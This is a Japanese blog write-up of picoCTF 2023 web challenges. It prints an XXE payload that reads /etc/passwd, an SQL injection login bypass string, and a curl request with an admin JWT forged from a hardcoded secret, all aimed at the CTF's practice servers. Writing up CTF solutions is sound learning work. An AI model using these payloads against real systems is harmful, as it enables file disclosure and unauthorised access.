picoCTF 2023 Writeup : Web Exploitation

# 最初に


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/ff9e1670-54f5-3ac8-4cff-eeb2550df3dd.png)




# Writeup

## SOAP

初手が怪しい名前ですね、、

https://play.picoctf.org/practice/challenge/376?category=1&originalEvent=72&page=1

以下のアドレスが開きました
http://saturn.picoctf.net:57378/


dirbするのと、同時にブラウザのNetworkタブからIPアドレスを調べて、nmapもしておく

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/79a7b01a-8274-38ad-1c72-131be5d43971.png)


Dirbの結果
```
┌──(kali㉿kali)-[/share_host/boueisyo/CY/2]
└─$ dirb http://saturn.picoctf.net:57378/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Feb  9 10:57:22 2025
URL_BASE: http://saturn.picoctf.net:57378/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://saturn.picoctf.net:57378/ ----
+ http://saturn.picoctf.net:57378/data (CODE:405|SIZE:153)                                                                                     
                                                                                                                                               
(!) FATAL: Too many errors connecting to host
    (Possible cause: COULDNT CONNECT)
                                                                               
-----------------
END_TIME: Sun Feb  9 11:15:52 2025
DOWNLOADED: 2438 - FOUND: 1
```


Nmapの結果
```
┌──(kali㉿kali)-[~]
└─$ nmap -T4 -p- 13.59.203.175
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 10:57 JST
Warning: 13.59.203.175 giving up on port because retransmission cap hit (6).
Nmap scan report for ec2-13-59-203-175.us-east-2.compute.amazonaws.com (13.59.203.175)
Host is up (0.20s latency).
Not shown: 65525 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
2376/tcp  open     docker
52092/tcp open     unknown
56251/tcp open     unknown
56876/tcp open     unknown
57378/tcp open     unknown
57625/tcp open     unknown
58101/tcp open     unknown
59955/tcp filtered unknown
65045/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 882.81 seconds
```



robots.txtはなかったですね、、、、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/d0e135d1-386b-7c80-8029-6063a97416ba.png)



Detailsを押した後のHTTP通信の内容
```
POST /data HTTP/1.1

Host: saturn.picoctf.net:57378

Content-Length: 61

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Content-Type: application/xml

Accept: */*

Origin: http://saturn.picoctf.net:57378

Referer: http://saturn.picoctf.net:57378/

Accept-Encoding: gzip, deflate, br

Connection: keep-alive



<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>
```


`<ID>1</ID>`の値を2や3に変えると別のDetailsボタンを押したときの出力に変えれそう


まずは、適当に4を入れてみたら、エラーになった
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/a8418679-9f5b-75e2-9493-e23bd9b39641.png)



Detailsボタンを教えた後のヘッダーを`/data`から`/etc`に変えてみたが、`Could not find the details. Better luck next time :(`の出力があったため、200以外のステータスコードが帰ってきている

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/ae827016-752d-1768-54f1-3811d1055e2c.png)



うーん、わからない、、、ということで、ヒントを見てみると、`XML external entity Injection`とあった。。
これは何だ、、、

ということで、調べてみた


XMLには外部ファイルからデータを読み込むことがあるみたいで、それを利用すれば、ディレクトリトラバーサルみたいなことができるみたい

今回の問題では以下の内容をリクエストに記載することで、フラグがとれます！
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>
    <ID>
        &xxe;
    </ID>
</data>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/8ab6212f-1934-8be9-82aa-8b233516764f.png)



参考したWebページ

https://portswigger.net/web-security/xxe/xml-entities

https://portswigger.net/web-security/xxe




## More SQLi


https://play.picoctf.org/prachttps://play.picoctf.org/practice/challenge/358?category=1&originalEvent=72&page=1tice/challenge/358?category=1&originalEvent=72&page=1

`
' or '1'='1';--
`を入れてみると、SQLインジェクションできました
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/12229ecc-d4ee-204c-5aa5-45781acbf9fd.png)


その時のリクエストの内容

```

POST / HTTP/1.1

Host: saturn.picoctf.net:55837

Content-Length: 77

Cache-Control: max-age=0

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

Origin: http://saturn.picoctf.net:55837

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://saturn.picoctf.net:55837/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=j4nir0na8jecjsdeftr0mk5qq1

Connection: keep-alive

username=%27+or+%271%27%3D%271%27%3B--&password=%27+or+%271%27%3D%271%27%3B--

```

ここからわからなくなったので、Writeupを見てみたら、Responseにフラグが記載されていたんですね、、

レスポンスはBurpのResponseタブから確認できます（簡単ですが、以下が手順です）

手順1：Proxyタブでリクエストのところで、右クリックして、「Send to Repeater」を選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/0b277e2e-2d93-6aa0-72ae-e5895c119089.png)

手順2：Responseタブから確認
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/2f59ff7b-a826-9400-463b-26b09784ca62.png)



参考にしたWriteup

https://qiita.com/fum1h1to/items/d4cfdd956051843f6757#more-sqli


## MatchTheRegex

http://play.picoctf.org/practice/challenge/356?category=1&originalEvent=72&page=1




```
<script>
	function send_request() {
		let val = document.getElementById("name").value;
		// ^p.....F!?
		fetch(`/flag?input=${val}`)
			.then(res => res.text())
			.then(res => {
				const res_json = JSON.parse(res);
				alert(res_json.flag)
				return false;
			})
		return false;
	}

</script>
```


picoCTFのフラグ形式を正規表現でかけば終わりです、、
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/6898f2a1-61e2-5885-9dff-43b7e2ed29e2.png)




## Java Code Analysis!?!

https://play.picoctf.org/practice/challenge/355?category=1&originalEvent=72&page=1

与えられたログイン情報からログインして、Flagの本を検索してみると、Adminと記載されていました

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/857affaa-f1ae-9682-adef-0329e0caf2eb.png)


また、その時のページのソースは以下です。Tokenの要素が足りないみたいですね、、（逆に足りていればいいのか）

```
{"type":"UNAUTHORIZED","payload":{"message":"You do not have the authority to access this resource","details":["The token was expected to have 3 parts, but got 1."]}}
```




```
GET /base/users/photo/1 HTTP/1.1

Host: saturn.picoctf.net:60832

Accept: application/json, text/plain, */*

Accept-Language: en-US

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTczOTY5MzU1MCwiaWF0IjoxNzM5MDg4NzUwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.2O2he25hMtQi2Kq7sWFeB6QcxfLC2OL7bahLuDKBd9s

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Referer: http://saturn.picoctf.net:60832/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=j4nir0na8jecjsdeftr0mk5qq1

Connection: keep-alive
```

Authorizationのところで、JWTトークンを使っていますが、秘密鍵がないと変更することはできないです、、



ここでわからなくなったので、Writeupを見てみる


https://qiita.com/fum1h1to/items/d4cfdd956051843f6757#java-code-analysis



`/bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/`にJWTトークンを作成するコードがあるみたい


`JwtService.java`を見てみると、`SecretGenerator.java`から秘密鍵を取得しているみたいだが、`SecretGenerator.java`では23行目で秘密鍵がハードコーディングされている。。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/a60fdfd5-10c6-4c0a-f680-45eb74c9bc2a.png)


この秘密鍵を使って、JWTを書き換えてみる

https://jwt.io/#debugger-io?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiQWRtaW4iLCJpc3MiOiJib29rc2hlbGYiLCJleHAiOjE3Mzk3ODg1MDMsImlhdCI6MTczOTE4MzcwMywidXNlcklkIjoxLCJlbWFpbCI6InVzZXIifQ.QPpxHvDUprInmLBcmO-5xXTIgvxWn-7Qa7w9arWfuMs


しかし、うまくいかない。。。


`/bookshelf-pico/src/main/java/io/github/nandandesai/pico/config/BookShelfConfig.java`の76行目にAdminのEmailがあった（adminでした、、、）

かつ、userのすぐ下で作成されているので、おそらくuserIdは2と推測できます

`BookController.java`の`@RequestMapping("/base")`と`@GetMapping("/books/pdf/{id}")`から、FlagのPDFのは以下のパスになります

`http://saturn.picoctf.net:61511/base/books/pdf/5`

（FlagのPDFのCoverが5だったので、PDFも5だと判断しました）


これをBurpでリクエストしていたのですが、なかなかうまくいかなかったので、Curlでたたいたらフラグが手に入りました

```
curl -X GET \
  'http://saturn.picoctf.net:61511/base/books/pdf/5' \
  -H 'Host: saturn.picoctf.net:61511' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Accept-Language: en-US' \
  -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiQWRtaW4iLCJpc3MiOiJib29rc2hlbGYiLCJleHAiOjE3NTk3ODg1MDMsImlhdCI6MTczOTE4MzcwMywidXNlcklkIjoyLCJlbWFpbCI6ImFkbWluIn0.7p9TDQlPTQsCnXclcK3YNcgaDVtOUcvUoVawlByOwWY' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36' \
  -H 'Referer: http://saturn.picoctf.net:61511/' \
  -H 'Accept-Encoding: gzip, deflate, br' \
  -H 'Connection: keep-alive'
```


```
(Great job! Here's your flag:)'
()'
()'
(picoCTF{w34k_jwt_n0t_g00d_6e5d7df5})'
ET
endstream
endobj

```




## findme

```
I was redirected here by a friend of mine but i couldnt find anything. Help me search for flags :-)
```

> 友人からここに来るように言われたんだけど、何も見つからなかったんだ。 フラッグ探しを手伝ってください :-)


Web問題だったので、Burpでいろいろ試してみると、怪しい文字列がidとしてやり取りされていました

```
GET /next-page/id=cGljb0NURntwcm94aWVzX2Fs HTTP/1.1

Host: saturn.picoctf.net:64798

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Language: en-US

Referer: http://saturn.picoctf.net:64798/

Accept-Encoding: gzip, deflate, br

Connection: keep-alive
```


```
GET /next-page/id=bF90aGVfd2F5X2QxYzBiMTEyfQ== HTTP/1.1

Host: saturn.picoctf.net:64798

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://saturn.picoctf.net:64798/next-page/id=cGljb0NURntwcm94aWVzX2Fs

Accept-Encoding: gzip, deflate, br

Connection: keep-alive
```

これをつないで、BASE64でデコードすればフラグになります！









# 最後に
Hardの2問はWriteupがほとんどなく、あるものを見てもよくわからなかった、、、、


Mediumまでの問題で学んだことは以下3つです
- XMLでデータのやり取りをしていれば、XXEの脆弱性を疑う
- BurpのRepeaterを使えば、HTTP通信のレスポンスを確認できる
- コードが当たられた場合はハードコーディングを疑ってみる